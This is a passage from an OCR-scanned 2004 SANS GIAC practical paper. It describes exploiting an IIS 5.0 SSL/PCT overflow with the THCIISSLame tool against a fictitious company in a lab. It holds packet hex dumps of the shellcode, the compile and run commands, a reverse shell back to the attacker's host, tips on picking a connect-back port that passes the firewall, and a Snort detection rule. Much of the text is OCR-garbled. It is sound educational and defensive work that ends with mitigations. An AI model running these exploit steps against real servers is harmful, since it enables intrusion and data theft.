0x0050 2e0d 0a0d 0Oa45 3abc 5749 4ed4e 545¢c 7379 ..... E: \ W NNT\ sy
0x0060 7374 656d 3332 3e st enB2>
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A command is issued on the shell, in this case, ipconfig.

23:04:17.176619 | P 192.168. 1. 222. 40000 > 192.168.1.111.1039: P 1:10(9) ack 106 win

17415 (DF)

0x0000 4500 0031 lacc 4000 8006 5b5d cOa8 Olde E.1..@..[]....
0x0010 c0a8 016f 9c40 040f 2488 dbe8 5913 a7bs ..0.@.%...Y...
0x0020 5018 4407 96e4 0000 6970 636f 6e66 6967 P.D.... i pconfig
0x0030 Oa

The server responds with the results of the command.

23:04: 17. 374300 | P 192.168. 1. 111. 1039 > 192. 168. 1. 222. 40000: P 115: 403(288) ack
10 win 17511 (DF)

0x0000 4500 0148 0248 4000 8006 72ca c0a8 016f E.E.HH®@..r....o0
0x0010 c0a8 0lde 040f 9c40 5913 a7cl 2488 dbf1 ....... @...%. .
0x0020 5018 4467 7f3a 0000 0d0Od 0Oab7 696e 646f P.Dg.:..... W ndo
0x0030 7773 2032 3030 3020 4950 2043 6f 6e 6669 ws. 2000. | P. Conf
0x0040 6775 7261 7469 6f 6e 0d0d 0aOd 0dOa 4574 guration...... Et
0x0050 6865 726e 6574 2061 6461 7074 6572 204c hernet. adapter. L
0x0060 6f 63 616¢c 2041 7265 6120 436f 6e6e 6563 ocal . Area. Connec
0x0070 7469 6f 6e 3a0d 0dOa 0d0d 0a09 436f 6eb6e tion:....... Conn
0x0080 6563 7469 6f 6e 2d73 7065 6369 6669 6320 ection-specific.
0x0090 444e 5320 5375 6666 6978 2020 2e20 3a20 DNS. Suf fix....:.
0x00a0 0dOa 0949 5020 4164 6472 6573 732e 202e ... | P. Address..
0x00b0 202e 202e 202e 202e 202e 202e 202e 202e ...
0x00cO 202e 202e 203a 2031 3932 2e31 3638 2e31 L....:.192.168.1
0x00d0 2e31 3131 0dOd 0a09 5375 626e 6574 204d .111....Subnet. M
0x00e0 6173 6b20 2e20 2e20 2e20 2e20 2e20 2e20 ask.............
0x00f 0 2e20 2e20 2e20 2e20 2e20 3a20 3235 352e e e.......255,
0x0100 3235 352e 3235 352e 300d 0dOa 0944 6566 255.255.0. ... Def
0x0110 6175 6¢74 2047 6174 6577 6179 202e 202e aul t. Gat eway. . .
0x0120 202e 202e 202e 202e 202e 202e 202e 203a e
0x0130 200d 0dOa 0dOa 453a 5c¢57 494e 4e54 5¢73  ...... E:\W NNT\ s
0x0140 7973 7465 6d33 323e yst en82>

When connection is terminated (using ctrl-c), client closes connection by sending RST
packet, on both the SSL session (port 443) and shell connection session (port 40000).

23:04: 21. 634266 | P 192.168. 1.222. 1036 > 192.168. 1. 111. 443: R 612913310: 612913310( 0)
win 0 (DF)

23:04: 21. 634438 | P 192. 168. 1. 222. 40000 > 192. 168. 1. 111. 1039: R 612948977: 612948977(0)
win 0 (DF)

The most detailed signature of attack with the exploit is the client-hello packet, which is
shown below.

23:04:11. 143634 | P 192.168. 1.222.1036 > 192.168.1.111.443: P 1:352(351) ack 1 win

17520 (DF)

0x0000 4500 0187 1ab0 4000 8006 5a23 c0a8 Olde E.... @..ZH. ...

0x0010 cOa8 016f 040c Olbb 2488 4f3f 5912 7f86 L..0....$. OPY. ..

0x0020 5018 4470 3e6b 0000 8062 0102 bd00 0100 P.Dp>k...b......

0x0030 0100 168f 8201 0000 00eb Of 54 4843 4f57 ........... THCOW
0x0040  4e5a 4949 5321 325e be98 eb25 0f d3 533b NZIISI 27, .. %. S

0x0050  924d 0206 6c59 6¢59 f81d 9cde 8cdl 4c70 M.IYIY. ... Lp
0x0060  d403 5846 5753 325f 3332 2e44 4c4c Oleb .. XFW2_32. DLL. .

0x0070 05e8 foff ffff 5d83 ed2c 6a30 5964 8b01  ...... 1..,jiovd..
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0x0080  8b40 0c8b 701c ad8b 7808 8d5f 3c8b 1b01 .@.p.. X _<...

0x0090 fb8b 5b78 01fb 8b4b 1c01 f98b 5324 0Olfa Ixe o KLU SS.
0x00a0 5351 528b 5b20 01fb 31c9 4131 c099 8hb34 SR[...1.AL..4
0x00b0 8b01 feac 31c2 dle2 84c0 75f7 0Of b6 4509 P u...E
0x00c0 8d44 4508 6639 1075 e166 3110 5a58 5e56 .DE.f9.u.fl. ZX"V
0x00d0 5052 2b4e 1041 0f b7 Oc4a 8b04 8801 f 80f PRtN. A .. J. ... ..
0x00e0 b64d 0989 448d d8fe 4d09 75be fedd 0874 .M.D...Mu..Mt
0x00f 0 17fe 4d24 8d5d 1a53 ffdO 89c7 6a02 5888 MBS L)X
0x0100 4509 8045 790c eh82 508b 4504 3593 9393 E..By...P.E5...
0x0110 9389 4504 668b 4502 6635 9393 6689 4502 ..Ef.Ef5. .f.E
0x0120 5889 ce31 db53 5353 5356 4656 ffd0 89c7 X.. 1. SSSSVFV. . ..
0x0130 5558 6689 306a 1055 57ff 55e0 8d45 8850 UXf.0j .UWU..E. P
0x0140 ff55 e855 55ff 55ec 8d44 050c 9453 682e .U U U.D...Sh
0x0150 6578 6568 5c63 6d64 9431 d28d 45cc 9457 exeh\cmd. 1. . E.. W
0x0160 5757 5353 feca 01f2 5294 8d45 7850 8d45 WABS. ... R . ExP. E
0x0170 8850 b108 5353 6al0 fece 5253 5353 55ff .P..SSj...RSSsuU
0x0180 55f0 6aff ff55 e4 Uj..u

IP header and TCP header form the 1% byte to the 40™ byte of the packet. Important
data for detection are located starting from 41 byte (in bold), at the SSL layer, from the
above packet capture, which are:

8062 0102 bd00 0100 0100 168f 8201 ...
The 3" byte, 0x01, shows the client-hello message type.

The 5™ and 6" bytes, 0x02bd, show the version number in use, which is SSL 2.0, or
treated by the Microsoft servers as SSL 2.0. In this case the value has to be less than
0x300. According to SSL 2.0 specification, the version should be 0x0002.

The 10" and 11" bytes, 0x00186, is the challenge-length, which need to be a value
bigger than 0x0010 to trigger the overflow.

The 12" byte, 0x8f, is the cipher-specs value, indicates special cipher used to indicate
request for PCT protocol. It is followed by 13" and 14™ bytes, 0x8201, to indicate the
PCT 1.0, where it needs to be a value same as or bigger than 0x8001.

2.9.2 Detection with Snort
The attack using this exploit can also be detected with Snort. The rule created for this is

shown below, and can be found at: http://cvs.snort.org/viewcvs.cgi/snort/rules/web-
misc.rules?rev=1.115.

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (nsg:"WEB-M SC PCT dient_Hello
overflow attenpt"; flow to_server,established; content:"|01|"; offset:2; depth:1;

byte test:2,>0,6; byte test:2,!,0,8; byte_test:2,!,16,8; byte_ test:2,>, 20, 10;
content:"|8F|"; offset:11; depth:1; byte_ test:2,> 32768,0,relative; reference:cve, CAN
2003-0719; reference:url, ww. i crosoft.conm technet/security/bulletin/MO04-011. mspx;

cl asstype: attenpt ed-adm n; sid: 2515; rev:7;)
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Detection signature from the above rule are explained below:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443

Look for traffic from hosts defined in SEXTERNAL_NET with any TCP source ports to
the servers addresses defined in SHTTP_SERVERS serving on TCP port 443, and
generate an alert when the condition specified in the rule is met.

The $EXTERNAL_NET and $HTTP_SERVERS are two variables set in the Snort
configuration file, snort.conf.

flow to_server, established

Look for request from client to the server, and only on established connections, that is
already completed TCP three way handshake.

content:"|01|"; offset:2; depth:1;

Look for value 0x01 in the packet, located after the 2" byte of the TCP payload
(offset:2), as many as 1 byte (depth:1). This is to look for the client-hello message type.
byte test:2,>, 0, 6;

Test 2 bytes from the payload located starting on the 6™ byte and see if it is bigger than
0. This is the cipher-specs length. The exploit is using 0x0001.

byte test:2,!,0,8;

Test 2 bytes from the payload located starting on the 8" byte and see if it is not equal to
zero. This is the session-id length. The exploit is using Ox0001.

byte test:2,!, 16, 8;

Test 2 bytes from the payload located starting on the 8" byte and see if it is not equal to
16. This is also the session-id length. The exploit is using 0x0001.

byte_test: 2, >, 20, 10;

Test 2 bytes from the payload located starting on the 10" byte and see if it is bigger
than 20. This is the challenge-data length, where in the exploit it contains 0x0016 in
hexadecimal or 22 in decimal.
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content:"|8F"; offset:11; depth:1;

Look for value 0x8f in the packet payload located after the 11" byte (offset:11), as many
as 1 byte. This is the cipher-specs code indicating the PCT protocol request.

byte test:2,>, 32768,0,rel ative;

Test 2 bytes from the payload, located 0 bytes from the last offset (from 11" byte), that
is 11™ and 12™ bytes, and see if it is bigger than 32768. These are the two bytes from
the cipher-specs, where in the exploit contains 0x8f82 in hexadecimal or 36738 in
decimal.

Using the above detection rule, Snort will generate the alert below when it captures the
traffic sent by the exploit.

[**] [1:2515:7] WEB-M SC PCT Client_Hello overflow attenpt [**]

[Classification: Attenpted Adnministrator Privilege Gain] [Priority: 1]

06/ 05-01: 42: 57. 835570 192. 168. 1. 222: 1050 -> 192.168. 1. 111: 443

TCP TTL: 128 TOS: 0x0 | D: 19569 | pLen: 20 Dgnien: 391 DF

*EEAP*** Seq: OxB262C1FA  Ack: Ox4D3BFFC9 Wn: 0x4470 TcpLen: 20

[ Xref => http://ww. m crosoft.conltechnet/security/bulletin/MO04-011. mspx] [ Xref =>
http://cve.mtre.org/cgi-bin/cvenane. cgi ?nane=CAN- 2003- 0719]

Details on the packet detected as the attack is also provided, as shown below.

[**] WEB-M SC PCT Cient_Hello overflow attenmpt [**]

06/ 05-01: 42: 57. 835570 192. 168. 1. 222: 1050 -> 192. 168. 1. 111: 443

TCP TTL: 128 TOS: 0x0 | D: 19569 | pLen: 20 Dgnien: 391 DF

*EEAP*** Seq: OxB262C1FA  Ack: O0x4D3BFFC9 Wn: 0x4470 TcpLen: 20
80 62 01 02 BD 00 01 00 01 00 16 8F 82 01 00 00 .b..............

00 EB OF 54 48 43 4F 57 4E 5A 49 49 53 21 32 5E ... THCOANZI | S! 27

BE 98 EB 25 OF D3 53 3B 92 4D 02 06 6C 59 6C59 ... %.S;,.M.IYlY
F8 1D 9C DE 8C D1 4C 70 D4 03 58 46 57 53 32 5F ...... Lp. . XFW62_
33 32 2E 44 4C 4C 01 EB 05 E8 F9 FF FF FF 5D 83 32.DLL........ 1.
ED 2C 6A 30 59 64 8B 01 8B 40 0C 8B 70 1C AD 8B .,jOYd...@.p...
78 08 8D 5F 3C 8B 1B 01 FB 8B 5B 78 01 FB 8B 4B Xx.._<..... [x...K
1C 01 F9 8B 53 24 01 FA 53 51 52 8B 5B 20 01 FB ....S$..SQR [

31 C9 41 31 G0 99 8B 34 8B 01 FE AC31 C D1 E2 1.Al...4....1...
84 CO 75 F7 OF B6 45 09 8D 44 45 08 66 39 10 75 ..u...E .DE.f9.u
E1 66 31 10 5A 58 5E 56 50 52 2B 4E 10 41 OF B7 .f1.ZX"VPR+N A..

0C 4A 8B 04 88 01 F8 OF B6 4D 09 89 44 8D D8 FE .J....... M.D...
4D 09 75 BE FE 4D 08 74 17 FE 4D 24 8D 5D 1A 53 Mu..Mt..Mb.].S
FF DO 89 C7 6A 02 58 88 45 09 80 45 79 OCEB 82 ....j.X E .EBy...
50 8B 45 04 35 93 93 93 93 89 45 04 66 8B 45 02 P.E.5..... E.f.E

66 35 93 93 66 89 45 02 58 89 CE 31 DB 53 53 53 fb5..f.E X .1.SSS
53 56 46 56 FF DO 89 C7 55 58 66 89 30 6A 10 55 SVFV....UXf.0j.U
57 FF 55 EO 8D 45 88 50 FF 55 E8 55 55 FF 55 EC WU..E P. U. UU. U
8D 44 05 0C 94 53 68 2E 65 78 65 68 5C 63 6D 64 .D...Sh.exeh\cnd
94 31 D2 8D 45 CC 94 57 57 57 53 53 FE CA 01 F2 .1..E .WNASS. ...
52 94 8D 45 78 50 8D 45 88 50 Bl 08 53 53 6A 10 R .ExP.E.P..SSj.
FE CE 52 53 53 53 55 FF 55 FO 6A FF FF 55 E4 ..RSSSU. U.j..U.

Information on how to interpret the rule syntax, as well as on Snort itself can be found in
the Snort online manual at http://www.snort.org/docs/snort manual/snort manual.html.
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3. The Platforms/Environments

The attack scenario is performed in a closed lab environment, but it is designed to
simulate the real network structure with Internet connection. IP addresses used are
fictitious, and are private addresses.

3.1Victim’s Platform

The main victim of the attack is a web server using Internet Information Server (11S) 5.0,
with SSL enabled. It is running on top of Microsoft Windows 2000 Server with Service
Pack 4. It is configured as a member server of an Active Directory domain.

The web server service both HTTP (TCP port 80) and HTTPS (TCP port 443). HTTP is
used for public web pages, which contains static HTML files. While HTTPS for SSL
secured access, is used for confidential data access for limited users, using web
application. On the server, the web application files are separated in different
directories. Therefore separate access can be enforced where HTTP can only be used
on public web directories, while HTTPS is only used for secure web directories. The
web application will connect to the database server to provide data to the users.

3.2Source Network

The attacker is using a Windows 2000 Professional with Service Pack 4. It is a single
host that is connected using cable modem to the Internet. The machine’s IP address is
dynamically assigned by the ISP, which always changed after every reboot. During the
initial attack, the IP address used is 10.10.10.101. Hostname of the attacker machine is
pc.attacker.net. The name is registered using dynamic DNS services.

There are many companies offer either free or paid dynamic DNS services, such as
dyndns.org (http://www.dyndns.org). These services provide their users with static DNS
host names that can be mapped to the IP addresses that are dynamically changing. The
users need only to login to the services websites and update their new IP addresses, or
install clients software that automatically inform these sites of the new addresses. This
way, others can always reach the machine by using its host name. Reason of using this
method will be explained further during stages of the attack.

The attack will be carried out over the Internet to the target network. The exploit is
compiled and run from this machine. Other tools are also installed and run from this
machine. Tools that are used for the attack will be mentioned and explained in the
stages of the attack below.
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3.3Target Network

The target network is connected to the Internet via a 512 Kbps leased line. A Cisco
1720 router with 10S 12.2 is used to terminate the leased line to the ISP. There is no
filtering being configured on the router.

The firewall used is Iptables 1.2.7a running on Redhat Linux 9, which is used to protect
and segment the network into three different areas, external, service network
(ServiceNet), and internal. The firewall performs two types of Network Address
Translation (NAT):
e Hide NAT
Allows many internal IP addresses to be translated to one external IP address,
thus hide those internal IP addresses. This is used for connecting internal
machines to Internet, by using only one public Internet routable IP address.
e Static NAT
Allows one internal IP address to be translated to one external IP address. This
is used to allow access from Internet to the public servers in the service network
using public IP addresses, while the actual addresses of the servers are private
IP addresses.

List of NAT performed by the firewall are listed in the table below:

Type Internal External Description
Hide NAT 192.168.2.0/24 | 10.1.1.2 Internal machines
Static NAT | 192.168.1.3 10.1.1.3 Web server
Static NAT | 192.168.1.4 10.1.1.4 Mail server
Static NAT | 192.168.1.5 10.1.1.5 DNS server

The firewall performs stateful packet filtering of the network traffic passing through it,
from internal to external, internal to service network, Internet to service network and
service network to Internet. The packet filtering rules are listed in the table follows. IP
addresses in use can be seen further in the network diagram section.

Action | Protocol | Destination Source Destination
Port

Rules for traffic between internal and service network

Accept | tcp All 192.168.1.0/24 192.168.2.0/24

Accept | tcp All 192.168.2.0/24 192.168.1.0/24

Accept | udp All 192.168.1.0/24 192.168.2.0/24

Accept | udp All 192.168.2.0/24 192.168.1.0/24

Rules for traffic from external to service network

Accept | tcp 80 Anywhere 192.168.1.3

Accept | tcp 443 Anywhere 192.168.1.3

Accept | tcp 25 Anywhere 192.168.1.4

Accept | udp 53 Anywhere 192.168.1.5

© SANS Institute 2004,
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Rules for traffic from internal and service network to external

Accept | tcp 25 192.168.1.0/24 Anywhere
Accept | tcp 80 192.168.1.0/24 Anywhere
Accept | tcp 80 192.168.2.0/24 Anywhere
Accept | tcp 443 192.168.1.0/24 Anywhere
Accept | tcp 443 192.168.2.0/24 Anywhere
Accept | tcp 21 192.168.1.0/24 Anywhere
Accept | tcp 21 192.168.2.0/24 Anywhere
Accept | udp 53 192.168.1.0/24 Anywhere
Accept | udp 53 192.168.2.0/24 Anywhere

The rules are inspected from top to bottom, and the default policy is ‘Drop’. Which
means, other traffic than those specified above will be block by the firewall.

The firewall’s external interface is ethO, service network interface is ethl, and internal
interface is eth2.

In the service network, there are three Microsoft Windows 2000 servers with Service
Pack 4. One is the web server, which has been explained previously. The other two are
mail server and external DNS server.

The mail server is using Microsoft Exchange Server 2000 with Service Pack 3. It is
configured as member server of Active Directory domain. Default installation is used on
this server, allowing all protocols supported to be enabled, which are SMTP, POP3,
IMAP4, HTTP, and NNTP. However, the firewall allows access only for SMTP, as
explained further later on.

The DNS server is using Microsoft DNS server, and used as external DNS to provide
name resolution for public name to IP addresses of the public servers. This machine is
also configured as member server

In the internal network, there are two Microsoft Windows 2000 servers with Service
Pack 4. Both are configured as domain controllers of Active Directory domain.
Therefore, both are also running DNS services, which are Active Directory integrated.

One server is acting as file sharing server, while the other is serving as database server
and running Microsoft SQL Server 2000 with Service Pack 3a. The web server will
access the database server, in order to provide data for users accessing the web
application. The database server is also running Internet Information Services 5.0 with
web application, used by internal staff to access the database for internal application.

There are 20 other user workstations, used by internal staff for their daily work,
including email access with Microsoft Outlook to the Exchange Server, web access, and
web application access.

All of the servers and workstations are configured without any system hardening and
most default configuration are used. The system administrators only think about
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functionality instead of security when they implement these systems. Security
configurations that are in used are users permissions of the files and folders, while the
rest are left as default.

3.4Network Diagram

Topology of the company network together with the location of the attacker is presented
in the Figure 6 below.
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4. Stages Of The Attack

The attack described here is carried out against a fictitious company, Mygiftonline.com,
a company that sells gifts online. At the time of this writing, the domain is not registered.
The content of the web site is fictitious, therefore no exact screen captures of the web
pages are shown, and also because the attack focus is not on the web pages or content
but rather on the web server.

4.1Reconnaissance

The discovery of the vulnerability and the release of the exploit create interest for the
attacker to find an attack target. It is specifically interesting because of the channel for
the vulnerability is SSL, widely used by many companies on their web sites for secure
transactions, and further it affects Microsoft 1S, one of the most popular web servers.

The attacker decides to find an online shopping company, which definitely is using SSL
and their database contains juicy information about the online transactions, including
credit cards information.

Using Internet Explorer, he then goes to Google (http://www.google.com), and type
“online shopping” in the search box. He goes through the results and visits the websites.
Observation is also done for the web technologies in use by those websites. If the
pages are using .asp extension, then they are using IIS. Others using .jsp or .php for
example, may or may not using IIS. While those using .cfm for example, will not use IIS.
Although further observation still required, and not all sites can be determined this way,
this will help for reconnaissance process to find the correct target, narrow down the
choices and more importantly it is stealthy, looks like a normal user.

Finally, the choice come to Mygiftonline.com, seems not a big company, so hopefully
the security of their network and systems are not so well maintained, and hopefully the
web server contains the vulnerability, as it shows that it using .asp in their web pages.

In common reconnaissance technique, DNS records and IP addresses used in the
network are gathered, utilized for scanning phase later on. This is not necessary here,
however, since the target is the web server itself, which can be explored from the web
access with the browser. The name of the web server is found from the web search
earlier on, that is www.mygiftonline.com.

In order not to rely on the DNS name, which at times is used for load balancing to
multiple sites, the IP address of the web server providing SSL connection has to be
determined. It is easily done using nslookup utility from command shell, as shown
below:
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C:. \ >nsl ookup
Default Server: dnsl.nyisp.com
Address: 10.10. 10. 10

> www. mygi ftonline.com
Server: dnsl. nyi sp.com
Address: 10.10.10. 10

Name: www. mygi ftonline.com
Address: 10.1.1.3

>

The IP address used by the web server is 10.1.1.3.

As shown in Figure 7, to make sure that this is the desired server, using the browser,
the IP address is used in the address bar instead of its DNS name.

3 about:blank - Microsoft Internet Explorer

File Edit ‘iew Favorites Tools  Help

dmBack - = - @ it | @Search (3] Favarites @Media @ | %v = [

Address Fhps:fi10,1,1.3

Figure 7. Connecting to Web Site With Its IP Address

The method used for reconnaissance here will not be detected as attack, as it is seen
as normal web user visiting a web site. The attacker IP address will be recorded in the
web server and firewall log, but this fact does not prove that the attacker is doing
something illegal at this stage. Even if there is an IDS running, it will not capture this
activity as attack, only as normal web connection. There is not any ways to defend
against this reconnaissance, as it is the way web and DNS work.

4.2Scanning
This phase’s objective is to observe if the target meets the requirement of the

vulnerability. In other words, the host is running, the desired port is open and the server
types and version match the criteria.
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Since the web server IP address has already been found, and definitely the host is
running and the port is open (TCP port 443) because connection can be made using
web browser with HTTPS, no port scanning is required.

To determine the server type and version, banner-grabbing technique is employed here.
This is done utilizing a proxy application tool, Achilles, which can be found at
http://packetstormsecurity.nl/web/achilles-0-27.zip. This method may not be accurate,
as banners can be changed, but it is a legal method, as it will appear as normal request
to the web server.

As a proxy application, Achilles acts as a man-in-the-middle between the browser and
the server. Achilles is run in the same machine as the browser, and by default listen on
TCP port 5000. The browser proxy setting is set to localhost at port 5000, as seen in
Figure 8.

Local Area Network (LAN) Settings 2=

—fButomatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration,

v Automatically detect settings

[™ Use automatic configuration scripk

Address I

—Proxzy server

v Use a progy server

Address: [ 127.0.0.1 Part: | 5000 Advanced... |

™ Bypass proxy server for local addresses

Ok I Cancel |

Figure 8. Browser Setting

lllustration of the connections can be seen in Figure 9, and explained below:

1. When the browser initiating connection request to the web server, it is actually send
its connection to Achilles

2. Achilles in turn sends the request to the web server.

3. When the web server reply, it is replying to Achilles

4. Achilles sends the reply back to the browser.
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1 client request 2 client request

Achilles / Web
Browser Proxy Server
4 server response Applications 3 server response

Client Machine

Figure 9. Intercepting Connection With Proxy Applications

This way, Achilles is able to intercept both browser requests and server responses, and
further modify them. Achilles is also able to support SSL, which makes the banner-
grabbing process through HTTPS possible.

When request is submitted to 10.1.1.3 and response is received, Achilles shows it, as
seen in Figure 10.

@ achilles 0.27 =1ol x|
Filz Format About
rmOC|S|
Proxy Settings Intercept Modes
Listen on Port [5000 ¥ Intercept mode ON
Cert File _..| [D:\Tools\sample.pem | ¥ Inercept Client Data
Client Timeout [Sec) [1 I Intercept Server Data [text]
Server Timeout [sec] I3: I” Logto F_'IE )
" Ignore .jpgl.gif
| _Find{Rep |
HTTP{1.1 200 OK =
Server: Microsoft115/5.0
Date: Fri, 18 Jun 2004 16:24:41 GMT
Connection: keep-alive
Connection: Keep-Alive
Content-Length: 1270
Content-Type: textfhtml
Set-Cookie: ASPSESSIONIDSSSCDDCS=CIFNJLIBEBFPPMJBGMCAOKIE: path={
Cache-control: private
<=
YWARNING!
Please do not alter this file. It may be replaced if yvou upgrade your web server
If you want to use it as a template, we recommend renaming it, and modifying the new file.
Thanks.
->
=
Status: IRunning

Figure 10. Server Identification Using Achilles

It is shown in the “Server” line, that the server is Internet Information Server version 5.0.
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Similar to the reconnaissance phase, the process of server identification using Achilles
will not be detected as attack because it is using normal web request, like normal user
visiting the web site. It is a passive identification method, where observation of the
server response is used to determine the server version. The web server log will
capture this connection just like normal web request, same thing with the firewall log.
When IDS is around it will not capture any suspicious traffic as well.

To defend against this kind of server fingerprinting, it is suggested to change the banner
given in the “Server” response header value, to some other value than the default, to
obscure the server type and version. This is a simple defense for fingerprinting through
banner grabbing (security by obscurity kind of method) and will not prevent an attacker
performing other types of fingerprinting that do not use banner grabbing.

One of the method to perform the change is using lISBanner, an 1IS banner changer
tool. Description and download information of this tool can be found at
http://www.securiteam.com/tools/5SKPOD2KAAE.html.

4.3Exploiting The System

Up to this stage, the necessary prerequisite for launching the attack has been satisfied,
which is the target server and observation of the server type and version to make sure it
is vulnerable against the exploit. The next step is to run the exploit itself. First of all, it
has to be compiled first. As mentioned in the source code, it was originally compiled
with MS Visual C++.

Microsoft provides the free version of the C compiler in the Microsoft Visual C++ Toolkit
2003, available at http://msdn.microsoft.com/visualc/vctoolkit2003/. The libraries
required for the exploit, as part of the Microsoft Windows Platform SDK, have to be
downloaded from http://www.microsoft.com/msdownload/platformsdk/sdkupdate/ and
installed, for successful compilation.

To compile, as also mentioned in the exploit source code comments, the following
command can be issued from the Windows shell, to generate THCIISSLame.exe:

cl THC | SSLane. ¢

To run the exploit, there are several argument required, as shown below when the file
name is typed in the Windows shell:

C:\>t hcii ssl ane

THCI I SSLane v0.3 - I1S 5.0 SSL renote root exploit
tested on Wndows 2000 Server german/english SP4
by Johnny Cyber punk (jcyberpunk@ hc. or g)

Usage: <victimhost> <connectback-i p> <connect back port >
Sanpl e: THCI | SSLane www. | anmei ss. com 31. 33. 7. 23 31337
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<victim-host> represents the target host’'s DNS name or |IP address to be attacked,
which has already been acquired in the previous phases, that is 10.1.1.3

<connectback-ip> is the IP address of the host or machine launching the exploit, in this
case 10.10.10.101.

<connectback port> is the TCP port used by the target host to connect to the host
launching the exploit.

Special consideration must be made for the connect-back port, because the target host
very likely is placed behind a firewall. Once the target host is overflowed, it will make an
outgoing connection through the firewall. Usually, only selected ports are allowed to go
out through the firewall, and further because this target is a web server, which normally
placed in separate service network, outgoing access may even be stricter.

There are several ports as options:

e TCP port 80, for HTTP access
This will work if the web server for any reason is allowed to make an outgoing
web connection to Internet.

e TCP port 443, for HTTPS access
Similar as above, this will work if the web server is allowed to make an outgoing
web connection with SSL to Internet.

e TCP port 21, for FTP access
As for this one, maybe the server required to download files or anti virus
signature update.

e TCP port 25, for SMTP access
This is less likely to be allowed, but there is a chance that the firewall simply
opens this port for all service network IP addresses, where the SMTP or mail
server is, to go out to Internet.

When running the exploit, there is no way to know exactly whether the overflowing is
failed, or the overflowing is successful but the connection back is blocked by the
firewall. Only when both overflowing and the connection back are successful, and
command shell is received, then it is known that the exploit is successful. Trial and error
with educated guess must be done to determine the allowed connect-back port.

Among the four options, the first two, port 80 and 443 will more likely being allowed, and
maybe also port 21. The common mistake here is the assumption that outgoing
connection is harmless, and at times, when performing their work on the server, server
administrators prefer to use that server’s browser to find required information on the
Internet.

In this case, the exploit is run using port 443, with the following command:

C\>thciisslame 10.1.1.3 10.10.10.101 443
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Figure 11 shows the illustration of the attack steps by the exploit, and described below:

1. The exploit initiates TCP connection on TCP port 443 to the web server, and after
initial three-way handshake finished, it sends the crafted malicious request

2. When the exploitation is successful, the server open new outgoing connection, to
connect to the attacker machine, in this case using TCP port 443. The attacker
machine will be able to see the shell of the target web server.

Address 10.10.10.101
Hostname: pc.attacker.net

-

i
Attacker @
X

52 [ Router
] 10.1.1.1/24

External E
10.1.1.2/24 / 7 Web

ServiceNet .

Internal

Firewall

Internal Network

Figure 11. Exploit Attack

Result of the execution is shown in Figure 12 with the exploit successfully overflow the
server, and get the shell access of the remote server, with SYSTEM user privileges.
SYSTEM user is normally used by the operating system, and possesses the highest
level of access. This is shown in the last line, where the command prompt shows the
E:\WINNT\System32 as the default folder of the remote server. The use of E: drive here
is due to the configuration in the lab environment, so it could be any drive letter depends
on the configuration, but the default folder remains the same.
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SWINNT' System32' cmd.exe - theiisslame|

C:n>theiisslame IS DN 43

THCIISSLame vBA.3 — II8 5.8 S58L remote root exploit
tested on Windows 2888 Server germansenglizh 5P4
hy Johnny Cyherpunk <jcvbherpunkBthc.org)

building buffer

connecting the target

exploit send

waiting for zhell

Exploit successful ' Have fun ¢

Microsoft Windows 2088 [Version 5.86.21951
(C> Copyright 1785-2008 Microsoft Corp.

E:SWINNT“system32>_

Figure 12. Successful Exploitation

This means that the web server is allowed to make outgoing connection on port 443
(HTTPS), which used by the exploit to make connection back to the attacker machine.

In the network environment being attacked here, there are no mechanisms available to
detect the attack using the exploit. Firewall will only see that there is an SSL request to
the web server, and no further detail. The web server will not even records the
connection request into its log because it only logs completed web (HTTP) sessions. As
explained in section 2.9, the malicious packet is sent right after TCP three-way
handshake is completed, as the initial packet of SSL handshaking. The HTTP session
follows next after SSL handshaking. Therefore, no record in the log file, because the
session has not been completed.

The use of IDS or sniffer will help to detect the exploit’s attack. Detection of the exploit
using IDS and sniffer has been explained previously in section 2.9.

In order to defend against the exploit, several things can be and should be done:

1. Always install the latest security updates or patches.
This will prevent the exploit to penetrate into the server. For this particular
vulnerability, the security update, MS04-011 can be found from
http://www.microsoft.com/downloads/details.aspx?Familyld=0692C27E-F63A-414C-
B3EB-D2342FBB6C00&displaylang=en.

2. Prevent the firewall from letting outgoing connections from servers, unless really
necessary.
This will not prevent the exploit to come in, but will prevent the connect-back
connection, thus prevents successful exploitation. If outgoing connection is required,
for example for mail server with SMTP protocol, firewall should be configured to
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allow only the specific server to make outgoing connection on that specific port. The
safest policy is to allow only those that are necessary and block everything else.

3. Enable auditing on the server and audit the use of cmd.exe
On the server being attacked, the auditing function is not enabled. It is
recommended that this feature is enabled, and especially used here to monitor who
is using cmd.exe. The exploit is making use of cmd.exe with SYSTEM privileges,
therefore when the activity is audited, it will be seen that cmd.exe is run by
SYSTEM, which is unlikely to be a normal event.

To enable auditing for the cmd.exe, there are two actions required:

e Enable Audit Policy
This can be enabled from the Local Security Policy configuration under the
Administrative Tools menu of Windows 2000. As member of Windows 2000
domain, the audit policy for this server can also be set from the domain
controllers, as part of the Domain Security Policy. Figure 13 shows the
configuration window for this. Under the Audit Policy, to enable auditing for files,
Audit object access should be set, by selecting either Success or Failure events.
In this instance, both are chosen.

= Local Security Settings

Tree ! Policy  # I Local Setting I Effective Sekting I
@ Security Settings Eﬂnudit account logon events Mo auditing Mo auditing
08 Account Policies [?_1__5__{|Audit account management Mo auditing Mo auditing
|_:|’L'§ Local Palicies [-'_l,l_ﬂnudit directary service access Mo auditing Mo auditing

f ) uadit Policy L;:l__}__wﬂnudit logon everts Mo auditing Mo auditing

i - User Rights Assigr [?_lérflnudit- object access Success, Failure Sutcess, Failure
._.@ Security Options [ﬁl_rﬂ.qudit policy charige
[1-1_] Public Key Policies @Audit privilege use
E-ﬁ IP Security Policies on @Audit process tracking o Auditobjsct access
@_w‘].ﬂudit syskem events

Local Security Policy Setting

Effective policy zetting:

IS uccess, Failune

—Local policy zetting

Avidit these: sthempts:

V¥ Eailure

It domain-level policy zettings are defined, they averride local policy

zettings.
ak. I Cancel |
| | |

Figure 13. Enable Auditing

36
© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



e Configure auditing on cmd.exe
Auditing for objects will only be actually enabled when it is set on the object itself,
in this case the cmd.exe file. On the file, located under “\winnt\system32”,
through its Properties, Security tab, Advanced, then Auditing tab, the audit
settings can be added for the SYSTEM account, as shown in Figure 14. Audit is
set for execution of cmd.exe (“traverse folder / execute file” option), either
successful or failed.

EMD Properties

General | Version Secuiity I'Summary I
#Access Control Settings for CMD. . X |
Pamissions | Sudiing I-Dwneri I LI '@GU
= = -
Auditing Enties: Auditing ntry for CMD = _‘J
: Mame: |5Y5STEM -M I_ T
F i : e -
